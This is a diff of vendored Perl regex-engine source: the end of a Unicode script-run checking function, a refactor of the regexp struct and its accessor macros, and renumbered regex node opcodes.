+        if (UNLIKELY(script_of_char == SCX_Unknown)) {
+            continue;
+        }
+
+        /* We accept 'inherited' script characters currently even at the
+         * beginning.  (We know that no characters in Inherited are digits, or
+         * we'd have to check for that) */
+        if (UNLIKELY(script_of_char == SCX_Inherited)) {
+            continue;
+        }
+
+        /* If the run so far is Common, and the new character isn't, change the
+         * run's script to that of this character */
+        if (script_of_run == SCX_Common && script_of_char != SCX_Common) {
+
+            /* But Common contains several sets of digits.  Only the '0' set
+             * can be part of another script. */
+            if (zero_of_run > 0 && zero_of_run != '0') {
+                retval = FALSE;
+                break;
+            }
+
+            script_of_run = script_of_char;
+        }
+
+        /* All decimal digits must be from the same sequence of 10.  Above, we
+         * handled any ASCII digits without descending to here.  We also
+         * handled the case where we already knew what digit sequence is the
+         * one to use, and the character is in that sequence.  Now that we know
+         * the script, we can use script_zeros[] to directly find which
+         * sequence the script uses, except in a few cases it returns 0 */
+        if (UNLIKELY(zero_of_run == 0) && script_of_char >= 0) {
+            zero_of_run = script_zeros[script_of_char];
+        }
+
+        /* Now we can see if the script of the character is the same as that of
+         * the run */
+        if (LIKELY(script_of_char == script_of_run)) {
+            /* By far the most common case */
+            goto scripts_match;
+        }
+
+
+        /* Here, the script of the run isn't Common.  But characters in Common
+         * match any script */
+        if (script_of_char == SCX_Common) {
+            goto scripts_match;
+        }
+
+#ifndef HAS_SCX_AUX_TABLES
+
+        /* Too early a Unicode version to have a code point belonging to more
+         * than one script, so, if the scripts don't exactly match, fail */
+        PERL_UNUSED_VAR(intersection_len);
+        retval = FALSE;
+        break;
+
+#else
+
+        /* Here there is no exact match between the character's script and the
+         * run's.  And we've handled the special cases of scripts Unknown,
+         * Inherited, and Common.
+         *
+         * Negative script numbers signify that the value may be any of several
+         * scripts, and we need to look at auxiliary information to make our
+         * deterimination.  But if both are non-negative, we can fail now */
+        if (LIKELY(script_of_char >= 0)) {
+            const SCX_enum * search_in;
+            PERL_UINT_FAST8_T search_in_len;
+            PERL_UINT_FAST8_T i;
+
+            if (LIKELY(script_of_run >= 0)) {
+                retval = FALSE;
+                break;
+            }
+
+            /* Use the previously constructed set of possible scripts, if any.
+             * */
+            if (intersection) {
+                search_in = intersection;
+                search_in_len = intersection_len;
+            }
+            else {
+                search_in = SCX_AUX_TABLE_ptrs[-script_of_run];
+                search_in_len = SCX_AUX_TABLE_lengths[-script_of_run];
+            }
+
+            for (i = 0; i < search_in_len; i++) {
+                if (search_in[i] == script_of_char) {
+                    script_of_run = script_of_char;
+                    goto scripts_match;
+                }
+            }
+
+            retval = FALSE;
+            break;
+        }
+        else if (LIKELY(script_of_run >= 0)) {
+            /* script of character could be one of several, but run is a single
+             * script */
+            const SCX_enum * search_in = SCX_AUX_TABLE_ptrs[-script_of_char];
+            const PERL_UINT_FAST8_T search_in_len
+                                     = SCX_AUX_TABLE_lengths[-script_of_char];
+            PERL_UINT_FAST8_T i;
+
+            for (i = 0; i < search_in_len; i++) {
+                if (search_in[i] == script_of_run) {
+                    script_of_char = script_of_run;
+                    goto scripts_match;
+                }
+            }
+
+            retval = FALSE;
+            break;
+        }
+        else {
+            /* Both run and char could be in one of several scripts.  If the
+             * intersection is empty, then this character isn't in this script
+             * run.  Otherwise, we need to calculate the intersection to use
+             * for future iterations of the loop, unless we are already at the
+             * final character */
+            const SCX_enum * search_char = SCX_AUX_TABLE_ptrs[-script_of_char];
+            const PERL_UINT_FAST8_T char_len
+                                      = SCX_AUX_TABLE_lengths[-script_of_char];
+            const SCX_enum * search_run;
+            PERL_UINT_FAST8_T run_len;
+
+            SCX_enum * new_overlap = NULL;
+            PERL_UINT_FAST8_T i, j;
+
+            if (intersection) {
+                search_run = intersection;
+                run_len = intersection_len;
+            }
+            else {
+                search_run = SCX_AUX_TABLE_ptrs[-script_of_run];
+                run_len = SCX_AUX_TABLE_lengths[-script_of_run];
+            }
+
+            intersection_len = 0;
+
+            for (i = 0; i < run_len; i++) {
+                for (j = 0; j < char_len; j++) {
+                    if (search_run[i] == search_char[j]) {
+
+                        /* Here, the script at i,j matches.  That means this
+                         * character is in the run.  But continue on to find
+                         * the complete intersection, for the next loop
+                         * iteration, and for the digit check after it.
+                         *
+                         * On the first found common script, we malloc space
+                         * for the intersection list for the worst case of the
+                         * intersection, which is the minimum of the number of
+                         * scripts remaining in each set. */
+                        if (intersection_len == 0) {
+                            Newx(new_overlap,
+                                 MIN(run_len - i, char_len - j),
+                                 SCX_enum);
+                        }
+                        new_overlap[intersection_len++] = search_run[i];
+                    }
+                }
+            }
+
+            /* Here we've looked through everything.  If they have no scripts
+             * in common, not a run */
+            if (intersection_len == 0) {
+                retval = FALSE;
+                break;
+            }
+
+            /* If there is only a single script in common, set to that.
+             * Otherwise, use the intersection going forward */
+            Safefree(intersection);
+            intersection = NULL;
+            if (intersection_len == 1) {
+                script_of_run = script_of_char = new_overlap[0];
+                Safefree(new_overlap);
+                new_overlap = NULL;
+            }
+            else {
+                intersection = new_overlap;
+            }
+        }
+
+#endif
+
+  scripts_match:
+
+        /* Here, the script of the character is compatible with that of the
+         * run.  Either they match exactly, or one or both can be any of
+         * several scripts, and the intersection is not empty.  If the
+         * character is not a decimal digit, we are done with it.  Otherwise,
+         * it could still fail if it is from a different set of 10 than seen
+         * already (or we may not have seen any, and we need to set the
+         * sequence).  If we have determined a single script and that script
+         * only has one set of digits (almost all scripts are like that), then
+         * this isn't a problem, as any digit must come from the same sequence.
+         * The only scripts that have multiple sequences have been constructed
+         * to be 0 in 'script_zeros[]'.
+         *
+         * Here we check if it is a digit. */
+        if (    cp >= FIRST_NON_ASCII_DECIMAL_DIGIT
+            && (   (          zero_of_run == 0
+                    || (  (   script_of_char >= 0
+                           && script_zeros[script_of_char] == 0)
+                        ||    intersection))))
+        {
+            SSize_t range_zero_index;
+            range_zero_index = _invlist_search(decimals_invlist, cp);
+            if (   LIKELY(range_zero_index >= 0)
+                && ELEMENT_RANGE_MATCHES_INVLIST(range_zero_index))
+            {
+                UV range_zero = decimals_array[range_zero_index];
+                if (zero_of_run) {
+                    if (zero_of_run != range_zero) {
+                        retval = FALSE;
+                        break;
+                    }
+                }
+                else {
+                    zero_of_run = range_zero;
+                }
+            }
+        }
+    } /* end of looping through CLOSESR text */
+
+    Safefree(intersection);
+
+    if (ret_script != NULL) {
+        if (retval) {
+            *ret_script = script_of_run;
+        }
+        else {
+            *ret_script = SCX_INVALID;
+        }
+    }
+
+    return retval;
+}
+
+#endif /* ifndef PERL_IN_XSUB_RE */
+
 /*
  * ex: set ts=8 sts=4 sw=4 et:
  */

Modified: vendor/perl/dist/regexp.h
===================================================================
--- vendor/perl/dist/regexp.h	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/regexp.h	2018-12-22 22:55:19 UTC (rev 12126)
@@ -105,57 +105,67 @@
   regexp's data array based on the data item's type.
 */
 
-#define _REGEXP_COMMON							\
-        /* what engine created this regexp? */				\
-	const struct regexp_engine* engine; 				\
-	REGEXP *mother_re; /* what re is this a lightweight copy of? */	\
-	HV *paren_names;   /* Optional hash of paren names */		\
-        /*--------------------------------------------------------*/    \
-	/* Information about the match that the perl core uses to */	\
-	/* manage things */						\
-	U32 extflags;	/* Flags used both externally and internally */	\
-	SSize_t minlen;	/* mininum possible number of chars in string to match */\
-	SSize_t minlenret; /* mininum possible number of chars in $& */		\
-	STRLEN gofs;	/* chars left of pos that we search from */	\
-	/* substring data about strings that must appear in the */	\
-	/* final match, used for optimisations */			\
-	struct reg_substr_data *substrs;				\
-	U32 nparens;	/* number of capture buffers */			\
-	/* private engine specific data */				\
-	U32 intflags;	/* Engine Specific Internal flags */		\
-	void *pprivate;	/* Data private to the regex engine which */	\
-			/* created this object. */			\
-        /*--------------------------------------------------------*/    \
-	/* Data about the last/current match. These are modified */	\
-	/* during matching */						\
-	U32 lastparen;			/* last open paren matched */	\
-	U32 lastcloseparen;		/* last close paren matched */	\
-	/* Array of offsets for (@-) and (@+) */			\
-	regexp_paren_pair *offs;					\
-        char **recurse_locinput; /* used to detect infinite recursion, XXX: move to internal */ \
-        /*--------------------------------------------------------*/    \
-	/* saved or original string so \digit works forever. */		\
-	char *subbeg;							\
-	SV_SAVED_COPY	/* If non-NULL, SV which is COW from original */\
-	SSize_t sublen;	/* Length of string pointed by subbeg */	\
-	SSize_t suboffset; /* byte offset of subbeg from logical start of str */ \
-	SSize_t subcoffset; /* suboffset equiv, but in chars (for @-/@+) */ \
-	/* Information about the match that isn't often used */		\
-        SSize_t maxlen;        /* mininum possible number of chars in string to match */\
-        /*--------------------------------------------------------*/    \
-	/* offset from wrapped to the start of precomp */		\
-	PERL_BITFIELD32 pre_prefix:4;					\
-        /* original flags used to compile the pattern, may differ */    \
-        /* from extflags in various ways */                             \
-        PERL_BITFIELD32 compflags:9;                                    \
-        /*--------------------------------------------------------*/    \
-	CV *qr_anoncv	/* the anon sub wrapped round qr/(?{..})/ */
+typedef struct regexp {
+    _XPV_HEAD;
+    const struct regexp_engine* engine; /* what engine created this regexp? */
+    REGEXP *mother_re; /* what re is this a lightweight copy of? */
+    HV *paren_names;   /* Optional hash of paren names */
 
-typedef struct regexp {
-	_XPV_HEAD;
-	_REGEXP_COMMON;
+    /*----------------------------------------------------------------------
+     * Information about the match that the perl core uses to manage things
+     */
+
+    U32 extflags;      /* Flags used both externally and internally */
+    SSize_t minlen;    /* minimum possible number of chars in string to match */
+    SSize_t minlenret; /* mininum possible number of chars in $& */
+    STRLEN gofs;       /* chars left of pos that we search from */
+                       /* substring data about strings that must appear in
+                        * the final match, used for optimisations */
+    struct reg_substr_data *substrs;
+    U32 nparens;       /* number of capture buffers */
+
+    /* private engine specific data */
+
+    U32 intflags;      /* Engine Specific Internal flags */
+    void *pprivate;    /* Data private to the regex engine which
+                        * created this object. */
+
+    /*----------------------------------------------------------------------
+     * Data about the last/current match. These are modified during matching
+     */
+
+    U32 lastparen;           /* last open paren matched */
+    U32 lastcloseparen;      /* last close paren matched */
+    regexp_paren_pair *offs; /* Array of offsets for (@-) and (@+) */
+    char **recurse_locinput; /* used to detect infinite recursion, XXX: move to internal */
+
+    /*---------------------------------------------------------------------- */
+
+    char *subbeg;       /* saved or original string so \digit works forever. */
+    SV_SAVED_COPY       /* If non-NULL, SV which is COW from original */
+    SSize_t sublen;     /* Length of string pointed by subbeg */
+    SSize_t suboffset;  /* byte offset of subbeg from logical start of str */
+    SSize_t subcoffset; /* suboffset equiv, but in chars (for @-/@+) */
+
+    /* Information about the match that isn't often used */
+
+    SSize_t maxlen;  /* minimum possible number of chars in string to match */
+
+    /*---------------------------------------------------------------------- */
+
+    /* offset from wrapped to the start of precomp */
+    PERL_BITFIELD32 pre_prefix:4;
+
+    /* original flags used to compile the pattern, may differ from
+     * extflags in various ways */
+    PERL_BITFIELD32 compflags:9;
+
+    /*---------------------------------------------------------------------- */
+
+    CV *qr_anoncv;      /* the anon sub wrapped round qr/(?{..})/ */
 } regexp;
 
+
 #define RXp_PAREN_NAMES(rx)	((rx)->paren_names)
 
 /* used for high speed searches */
@@ -457,72 +467,91 @@
  */
 
 #ifdef NO_TAINT_SUPPORT
-#   define RX_ISTAINTED(prog)    0
-#   define RX_TAINT_on(prog)     NOOP
-#   define RXp_MATCH_TAINTED(prog) 0
-#   define RX_MATCH_TAINTED(prog)  0
-#   define RXp_MATCH_TAINTED_on(prog) NOOP
-#   define RX_MATCH_TAINTED_on(prog)  NOOP
-#   define RX_MATCH_TAINTED_off(prog) NOOP
+#  define RX_ISTAINTED(rx_sv)           0
+#  define RXp_ISTAINTED(prog)           0
+#  define RX_TAINT_on(rx_sv)            NOOP
+#  define RXp_MATCH_TAINTED(prog)       0
+#  define RX_MATCH_TAINTED(rx_sv)       0
+#  define RXp_MATCH_TAINTED_on(prog)    NOOP
+#  define RX_MATCH_TAINTED_on(rx_sv)    NOOP
+#  define RXp_MATCH_TAINTED_off(prog)   NOOP
+#  define RX_MATCH_TAINTED_off(rx_sv)   NOOP
 #else
-#   define RX_ISTAINTED(prog)    (RX_EXTFLAGS(prog) & RXf_TAINTED)
-#   define RX_TAINT_on(prog)     (RX_EXTFLAGS(prog) |= RXf_TAINTED)
-#   define RXp_MATCH_TAINTED(prog)    (RXp_EXTFLAGS(prog) & RXf_TAINTED_SEEN)
-#   define RX_MATCH_TAINTED(prog)     (RX_EXTFLAGS(prog)  & RXf_TAINTED_SEEN)
-#   define RXp_MATCH_TAINTED_on(prog) (RXp_EXTFLAGS(prog) |= RXf_TAINTED_SEEN)
-#   define RX_MATCH_TAINTED_on(prog)  (RX_EXTFLAGS(prog)  |= RXf_TAINTED_SEEN)
-#   define RX_MATCH_TAINTED_off(prog) (RX_EXTFLAGS(prog)  &= ~RXf_TAINTED_SEEN)
+#  define RX_ISTAINTED(rx_sv)           (RX_EXTFLAGS(rx_sv) & RXf_TAINTED)
+#  define RXp_ISTAINTED(prog)           (RXp_EXTFLAGS(prog) & RXf_TAINTED)
+#  define RX_TAINT_on(rx_sv)            (RX_EXTFLAGS(rx_sv) |= RXf_TAINTED)
+#  define RXp_MATCH_TAINTED(prog)       (RXp_EXTFLAGS(prog) & RXf_TAINTED_SEEN)
+#  define RX_MATCH_TAINTED(rx_sv)       (RX_EXTFLAGS(rx_sv) & RXf_TAINTED_SEEN)
+#  define RXp_MATCH_TAINTED_on(prog)    (RXp_EXTFLAGS(prog) |= RXf_TAINTED_SEEN)
+#  define RX_MATCH_TAINTED_on(rx_sv)    (RX_EXTFLAGS(rx_sv) |= RXf_TAINTED_SEEN)
+#  define RXp_MATCH_TAINTED_off(prog)   (RXp_EXTFLAGS(prog) &= ~RXf_TAINTED_SEEN)
+#  define RX_MATCH_TAINTED_off(rx_sv)   (RX_EXTFLAGS(rx_sv) &= ~RXf_TAINTED_SEEN)
 #endif
 
-#define RX_HAS_CUTGROUP(prog) ((prog)->intflags & PREGf_CUTGROUP_SEEN)
-#define RX_MATCH_TAINTED_set(prog, t) ((t) \
-				       ? RX_MATCH_TAINTED_on(prog) \
-				       : RX_MATCH_TAINTED_off(prog))
+#define RXp_HAS_CUTGROUP(prog)          ((prog)->intflags & PREGf_CUTGROUP_SEEN)
 
-#define RXp_MATCH_COPIED(prog)		(RXp_EXTFLAGS(prog) & RXf_COPY_DONE)
-#define RX_MATCH_COPIED(prog)		(RX_EXTFLAGS(prog) & RXf_COPY_DONE)
-#define RXp_MATCH_COPIED_on(prog)	(RXp_EXTFLAGS(prog) |= RXf_COPY_DONE)
-#define RX_MATCH_COPIED_on(prog)	(RX_EXTFLAGS(prog) |= RXf_COPY_DONE)
-#define RXp_MATCH_COPIED_off(prog)	(RXp_EXTFLAGS(prog) &= ~RXf_COPY_DONE)
-#define RX_MATCH_COPIED_off(prog)	(RX_EXTFLAGS(prog) &= ~RXf_COPY_DONE)
-#define RX_MATCH_COPIED_set(prog,t)	((t) \
-					 ? RX_MATCH_COPIED_on(prog) \
-					 : RX_MATCH_COPIED_off(prog))
+#define RX_MATCH_TAINTED_set(rx_sv, t)  ((t) \
+                                        ? RX_MATCH_TAINTED_on(rx_sv) \
+                                        : RX_MATCH_TAINTED_off(rx_sv))
 
-#define RXp_EXTFLAGS(rx)	((rx)->extflags)
-#define RXp_COMPFLAGS(rx)        ((rx)->compflags)
+#define RXp_MATCH_COPIED(prog)          (RXp_EXTFLAGS(prog) & RXf_COPY_DONE)
+#define RX_MATCH_COPIED(rx_sv)          (RX_EXTFLAGS(rx_sv) & RXf_COPY_DONE)
+#define RXp_MATCH_COPIED_on(prog)       (RXp_EXTFLAGS(prog) |= RXf_COPY_DONE)
+#define RX_MATCH_COPIED_on(rx_sv)       (RX_EXTFLAGS(rx_sv) |= RXf_COPY_DONE)
+#define RXp_MATCH_COPIED_off(prog)      (RXp_EXTFLAGS(prog) &= ~RXf_COPY_DONE)
+#define RX_MATCH_COPIED_off(rx_sv)      (RX_EXTFLAGS(rx_sv) &= ~RXf_COPY_DONE)
+#define RX_MATCH_COPIED_set(rx_sv,t)    ((t) \
+                                         ? RX_MATCH_COPIED_on(rx_sv) \
+                                         : RX_MATCH_COPIED_off(rx_sv))
 
+#define RXp_EXTFLAGS(rx)                ((rx)->extflags)
+#define RXp_COMPFLAGS(rx)               ((rx)->compflags)
+
 /* For source compatibility. We used to store these explicitly.  */
-#define RX_PRECOMP(prog)	(RX_WRAPPED(prog) + ReANY(prog)->pre_prefix)
-#define RX_PRECOMP_const(prog)	(RX_WRAPPED_const(prog) + ReANY(prog)->pre_prefix)
+#define RX_PRECOMP(rx_sv)              (RX_WRAPPED(rx_sv) \
+                                            + ReANY(rx_sv)->pre_prefix)
+#define RX_PRECOMP_const(rx_sv)        (RX_WRAPPED_const(rx_sv) \
+                                            + ReANY(rx_sv)->pre_prefix)
 /* FIXME? Are we hardcoding too much here and constraining plugin extension
    writers? Specifically, the value 1 assumes that the wrapped version always
    has exactly one character at the end, a ')'. Will that always be true?  */
-#define RX_PRELEN(prog)		(RX_WRAPLEN(prog) - ReANY(prog)->pre_prefix - 1)
-#define RX_WRAPPED(prog)	ReANY(prog)->xpv_len_u.xpvlenu_pv
-#define RX_WRAPPED_const(prog)	((const char *)RX_WRAPPED(prog))
-#define RX_WRAPLEN(prog)	SvCUR(prog)
-#define RX_CHECK_SUBSTR(prog)	(ReANY(prog)->check_substr)
-#define RX_REFCNT(prog)		SvREFCNT(prog)
-#define RX_EXTFLAGS(prog)	RXp_EXTFLAGS(ReANY(prog))
-#define RX_COMPFLAGS(prog)        RXp_COMPFLAGS(ReANY(prog))
-#define RX_ENGINE(prog)		(ReANY(prog)->engine)
-#define RX_SUBBEG(prog)		(ReANY(prog)->subbeg)
-#define RX_SUBOFFSET(prog)	(ReANY(prog)->suboffset)
-#define RX_SUBCOFFSET(prog)	(ReANY(prog)->subcoffset)
-#define RX_OFFS(prog)		(ReANY(prog)->offs)
-#define RX_NPARENS(prog)	(ReANY(prog)->nparens)
-#define RX_SUBLEN(prog)		(ReANY(prog)->sublen)
-#define RX_MINLEN(prog)		(ReANY(prog)->minlen)
-#define RX_MINLENRET(prog)	(ReANY(prog)->minlenret)
-#define RX_GOFS(prog)		(ReANY(prog)->gofs)
-#define RX_LASTPAREN(prog)	(ReANY(prog)->lastparen)
-#define RX_LASTCLOSEPAREN(prog)	(ReANY(prog)->lastcloseparen)
-#define RX_SAVED_COPY(prog)	(ReANY(prog)->saved_copy)
+#define RX_PRELEN(rx_sv)                (RX_WRAPLEN(rx_sv) \
+                                            - ReANY(rx_sv)->pre_prefix - 1)
+
+#define RX_WRAPPED(rx_sv)               SvPVX(rx_sv)
+#define RX_WRAPPED_const(rx_sv)         SvPVX_const(rx_sv)
+#define RX_WRAPLEN(rx_sv)               SvCUR(rx_sv)
+#define RX_CHECK_SUBSTR(rx_sv)          (ReANY(rx_sv)->check_substr)
+#define RX_REFCNT(rx_sv)                SvREFCNT(rx_sv)
+#define RX_EXTFLAGS(rx_sv)              RXp_EXTFLAGS(ReANY(rx_sv))
+#define RX_COMPFLAGS(rx_sv)             RXp_COMPFLAGS(ReANY(rx_sv))
+#define RXp_ENGINE(prog)                ((prog)->engine)
+#define RX_ENGINE(rx_sv)                (RXp_ENGINE(ReANY(rx_sv)))
+#define RXp_SUBBEG(prog)                (prog->subbeg)
+#define RX_SUBBEG(rx_sv)                (RXp_SUBBEG(ReANY(rx_sv)))
+#define RXp_SUBOFFSET(prog)             (prog->suboffset)
+#define RX_SUBOFFSET(rx_sv)             (RXp_SUBOFFSET(ReANY(rx_sv)))
+#define RX_SUBCOFFSET(rx_sv)            (ReANY(rx_sv)->subcoffset)
+#define RXp_OFFS(prog)                  (prog->offs)
+#define RX_OFFS(rx_sv)                  (RXp_OFFS(ReANY(rx_sv)))
+#define RXp_NPARENS(prog)               (prog->nparens)
+#define RX_NPARENS(rx_sv)               (RXp_NPARENS(ReANY(rx_sv)))
+#define RX_SUBLEN(rx_sv)                (ReANY(rx_sv)->sublen)
+#define RXp_MINLEN(prog)                (prog->minlen)
+#define RX_MINLEN(rx_sv)                (RXp_MINLEN(ReANY(rx_sv)))
+#define RXp_MINLENRET(prog)             (prog->minlenret)
+#define RX_MINLENRET(rx_sv)             (RXp_MINLENRET(ReANY(rx_sv)))
+#define RXp_GOFS(prog)                  (prog->gofs)
+#define RX_GOFS(rx_sv)                  (RXp_GOFS(ReANY(rx_sv)))
+#define RX_LASTPAREN(rx_sv)             (ReANY(rx_sv)->lastparen)
+#define RX_LASTCLOSEPAREN(rx_sv)        (ReANY(rx_sv)->lastcloseparen)
+#define RXp_SAVED_COPY(prog)            (prog->saved_copy)
+#define RX_SAVED_COPY(rx_sv)            (RXp_SAVED_COPY(ReANY(rx_sv)))
 /* last match was zero-length */
-#define RX_ZERO_LEN(prog) \
-        (RX_OFFS(prog)[0].start + (SSize_t)RX_GOFS(prog) \
-          == RX_OFFS(prog)[0].end)
+#define RXp_ZERO_LEN(prog) \
+        (RXp_OFFS(prog)[0].start + (SSize_t)RXp_GOFS(prog) \
+          == RXp_OFFS(prog)[0].end)
+#define RX_ZERO_LEN(rx_sv)              (RXp_ZERO_LEN(ReANY(rx_sv)))
 
 #endif /* PLUGGABLE_RE_EXTENSION */
 
@@ -529,32 +558,36 @@
 /* Stuff that needs to be included in the pluggable extension goes below here */
 
 #ifdef PERL_ANY_COW
-#define RX_MATCH_COPY_FREE(rx) \
-	STMT_START {if (RX_SAVED_COPY(rx)) { \
-	    SV_CHECK_THINKFIRST_COW_DROP(RX_SAVED_COPY(rx)); \
+#define RXp_MATCH_COPY_FREE(prog) \
+	STMT_START {if (RXp_SAVED_COPY(prog)) { \
+	    SV_CHECK_THINKFIRST_COW_DROP(RXp_SAVED_COPY(prog)); \
 	} \
-	if (RX_MATCH_COPIED(rx)) { \
-	    Safefree(RX_SUBBEG(rx)); \
-	    RX_MATCH_COPIED_off(rx); \
+	if (RXp_MATCH_COPIED(prog)) { \
+	    Safefree(RXp_SUBBEG(prog)); \
+	    RXp_MATCH_COPIED_off(prog); \
 	}} STMT_END
 #else
-#define RX_MATCH_COPY_FREE(rx) \
-	STMT_START {if (RX_MATCH_COPIED(rx)) { \
-	    Safefree(RX_SUBBEG(rx)); \
-	    RX_MATCH_COPIED_off(rx); \
+#define RXp_MATCH_COPY_FREE(prog) \
+	STMT_START {if (RXp_MATCH_COPIED(prog)) { \
+	    Safefree(RXp_SUBBEG(prog)); \
+	    RXp_MATCH_COPIED_off(prog); \
 	}} STMT_END
 #endif
+#define RX_MATCH_COPY_FREE(rx_sv)       RXp_MATCH_COPY_FREE(ReANY(rx_sv))
 
-#define RXp_MATCH_UTF8(prog)		(RXp_EXTFLAGS(prog) & RXf_MATCH_UTF8)
-#define RX_MATCH_UTF8(prog)		(RX_EXTFLAGS(prog) & RXf_MATCH_UTF8)
-#define RX_MATCH_UTF8_on(prog)		(RX_EXTFLAGS(prog) |= RXf_MATCH_UTF8)
-#define RX_MATCH_UTF8_off(prog)		(RX_EXTFLAGS(prog) &= ~RXf_MATCH_UTF8)
-#define RX_MATCH_UTF8_set(prog, t)	((t) \
-			? RX_MATCH_UTF8_on(prog) \
-			: RX_MATCH_UTF8_off(prog))
+#define RXp_MATCH_UTF8(prog)            (RXp_EXTFLAGS(prog) & RXf_MATCH_UTF8)
+#define RX_MATCH_UTF8(rx_sv)            (RX_EXTFLAGS(rx_sv) & RXf_MATCH_UTF8)
+#define RXp_MATCH_UTF8_on(prog)         (RXp_EXTFLAGS(prog) |= RXf_MATCH_UTF8)
+#define RX_MATCH_UTF8_on(rx_sv)         (RXp_MATCH_UTF8_on(ReANY(rx_sv)))
+#define RXp_MATCH_UTF8_off(prog)        (RXp_EXTFLAGS(prog) &= ~RXf_MATCH_UTF8)
+#define RX_MATCH_UTF8_off(rx_sv)        (RXp_MATCH_UTF8_off(ReANY(rx_sv))
+#define RXp_MATCH_UTF8_set(prog, t)     ((t) \
+                                        ? RXp_MATCH_UTF8_on(prog) \
+                                        : RXp_MATCH_UTF8_off(prog))
+#define RX_MATCH_UTF8_set(rx_sv, t)     (RXp_MATCH_UTF8_set(ReANY(rx_sv), t))
 
 /* Whether the pattern stored at RX_WRAPPED is in UTF-8  */
-#define RX_UTF8(prog)			SvUTF8(prog)
+#define RX_UTF8(rx_sv)                  SvUTF8(rx_sv)
 
 
 /* bits in flags arg of Perl_regexec_flags() */

Modified: vendor/perl/dist/regnodes.h
===================================================================
--- vendor/perl/dist/regnodes.h	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/regnodes.h	2018-12-22 22:55:19 UTC (rev 12126)
@@ -6,8 +6,8 @@
 
 /* Regops and State definitions */
 
-#define REGNODE_MAX           	92
-#define REGMATCH_STATE_MAX    	134
+#define REGNODE_MAX           	97
+#define REGMATCH_STATE_MAX    	139
 
 #define	END                   	0	/* 0000 End of program. */
 #define	SUCCEED               	1	/* 0x01 Return from a subroutine, basically. */
@@ -32,78 +32,83 @@
 #define	ANYOF                 	18	/* 0x12 Match character in (or not in) this class, single char match only */
 #define	ANYOFD                	19	/* 0x13 Like ANYOF, but /d is in effect */
 #define	ANYOFL                	20	/* 0x14 Like ANYOF, but /l is in effect */
-#define	POSIXD                	21	/* 0x15 Some [[:class:]] under /d; the FLAGS field gives which one */
-#define	POSIXL                	22	/* 0x16 Some [[:class:]] under /l; the FLAGS field gives which one */
-#define	POSIXU                	23	/* 0x17 Some [[:class:]] under /u; the FLAGS field gives which one */
-#define	POSIXA                	24	/* 0x18 Some [[:class:]] under /a; the FLAGS field gives which one */
-#define	NPOSIXD               	25	/* 0x19 complement of POSIXD, [[:^class:]] */
-#define	NPOSIXL               	26	/* 0x1a complement of POSIXL, [[:^class:]] */
-#define	NPOSIXU               	27	/* 0x1b complement of POSIXU, [[:^class:]] */
-#define	NPOSIXA               	28	/* 0x1c complement of POSIXA, [[:^class:]] */
-#define	CLUMP                 	29	/* 0x1d Match any extended grapheme cluster sequence */
-#define	BRANCH                	30	/* 0x1e Match this alternative, or the next... */
-#define	EXACT                 	31	/* 0x1f Match this string (preceded by length). */
-#define	EXACTL                	32	/* 0x20 Like EXACT, but /l is in effect (used so locale-related warnings can be checked for). */
-#define	EXACTF                	33	/* 0x21 Match this non-UTF-8 string (not guaranteed to be folded) using /id rules (w/len). */
-#define	EXACTFL               	34	/* 0x22 Match this string (not guaranteed to be folded) using /il rules (w/len). */
-#define	EXACTFU               	35	/* 0x23 Match this string (folded iff in UTF-8, length in folding doesn't change if not in UTF-8) using /iu rules (w/len). */
-#define	EXACTFA               	36	/* 0x24 Match this string (not guaranteed to be folded) using /iaa rules (w/len). */
-#define	EXACTFU_SS            	37	/* 0x25 Match this string (folded iff in UTF-8, length in folding may change even if not in UTF-8) using /iu rules (w/len). */
-#define	EXACTFLU8             	38	/* 0x26 Rare cirucmstances: like EXACTFU, but is under /l, UTF-8, folded, and everything in it is above 255. */
-#define	EXACTFA_NO_TRIE       	39	/* 0x27 Match this string (which is not trie-able; not guaranteed to be folded) using /iaa rules (w/len). */
-#define	NOTHING               	40	/* 0x28 Match empty string. */
-#define	TAIL                  	41	/* 0x29 Match empty string. Can jump here from outside. */
-#define	STAR                  	42	/* 0x2a Match this (simple) thing 0 or more times. */
-#define	PLUS                  	43	/* 0x2b Match this (simple) thing 1 or more times. */
-#define	CURLY                 	44	/* 0x2c Match this simple thing {n,m} times. */
-#define	CURLYN                	45	/* 0x2d Capture next-after-this simple thing */
-#define	CURLYM                	46	/* 0x2e Capture this medium-complex thing {n,m} times. */
-#define	CURLYX                	47	/* 0x2f Match this complex thing {n,m} times. */
-#define	WHILEM                	48	/* 0x30 Do curly processing and see if rest matches. */
-#define	OPEN                  	49	/* 0x31 Mark this point in input as start of #n. */
-#define	CLOSE                 	50	/* 0x32 Analogous to OPEN. */
-#define	REF                   	51	/* 0x33 Match some already matched string */
-#define	REFF                  	52	/* 0x34 Match already matched string, folded using native charset rules for non-utf8 */
-#define	REFFL                 	53	/* 0x35 Match already matched string, folded in loc. */
-#define	REFFU                 	54	/* 0x36 Match already matched string, folded using unicode rules for non-utf8 */
-#define	REFFA                 	55	/* 0x37 Match already matched string, folded using unicode rules for non-utf8, no mixing ASCII, non-ASCII */
-#define	NREF                  	56	/* 0x38 Match some already matched string */
-#define	NREFF                 	57	/* 0x39 Match already matched string, folded using native charset rules for non-utf8 */
-#define	NREFFL                	58	/* 0x3a Match already matched string, folded in loc. */
-#define	NREFFU                	59	/* 0x3b Match already matched string, folded using unicode rules for non-utf8 */
-#define	NREFFA                	60	/* 0x3c Match already matched string, folded using unicode rules for non-utf8, no mixing ASCII, non-ASCII */
-#define	LONGJMP               	61	/* 0x3d Jump far away. */
-#define	BRANCHJ               	62	/* 0x3e BRANCH with long offset. */
-#define	IFMATCH               	63	/* 0x3f Succeeds if the following matches. */
-#define	UNLESSM               	64	/* 0x40 Fails if the following matches. */
-#define	SUSPEND               	65	/* 0x41 "Independent" sub-RE. */
-#define	IFTHEN                	66	/* 0x42 Switch, should be preceded by switcher. */
-#define	GROUPP                	67	/* 0x43 Whether the group matched. */
-#define	EVAL                  	68	/* 0x44 Execute some Perl code. */
-#define	MINMOD                	69	/* 0x45 Next operator is not greedy. */
-#define	LOGICAL               	70	/* 0x46 Next opcode should set the flag only. */
-#define	RENUM                 	71	/* 0x47 Group with independently numbered parens. */
-#define	TRIE                  	72	/* 0x48 Match many EXACT(F[ALU]?)? at once. flags==type */
-#define	TRIEC                 	73	/* 0x49 Same as TRIE, but with embedded charclass data */
-#define	AHOCORASICK           	74	/* 0x4a Aho Corasick stclass. flags==type */
-#define	AHOCORASICKC          	75	/* 0x4b Same as AHOCORASICK, but with embedded charclass data */
